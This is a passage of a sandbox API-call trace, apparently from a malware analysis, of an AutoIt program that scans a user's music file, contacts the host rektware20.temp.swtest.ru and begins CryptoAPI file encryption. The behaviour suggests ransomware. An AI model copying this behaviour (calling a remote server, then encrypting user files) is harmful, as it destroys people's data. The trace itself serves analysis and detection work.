lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.864] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.864] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.864] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.864] CloseHandle (hObject=0x0) returned 0 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.865] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CbcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bcQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cQi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Qi5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tkc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kc4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UphT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="phT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hT\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vB t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.866] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.866] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.866] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.866] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.866] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.867] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.867] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.867] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.867] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0063.867] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.867] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.867] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.867] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.867] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.868] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629360, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629360*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.868] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.868] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.868] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.868] CloseHandle (hObject=0x0) returned 0 [0063.868] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.868] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.869] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.869] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.869] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.869] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.869] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.869] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.869] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.869] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.870] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.870] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.870] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.870] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.870] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.870] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.870] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17abc38) returned 1 [0063.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.872] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.872] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.872] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.872] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.872] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.872] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.873] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.873] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.873] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.873] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.873] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.873] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.873] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.873] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.878] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.878] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.878] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.878] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.879] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.879] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.879] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213f0, 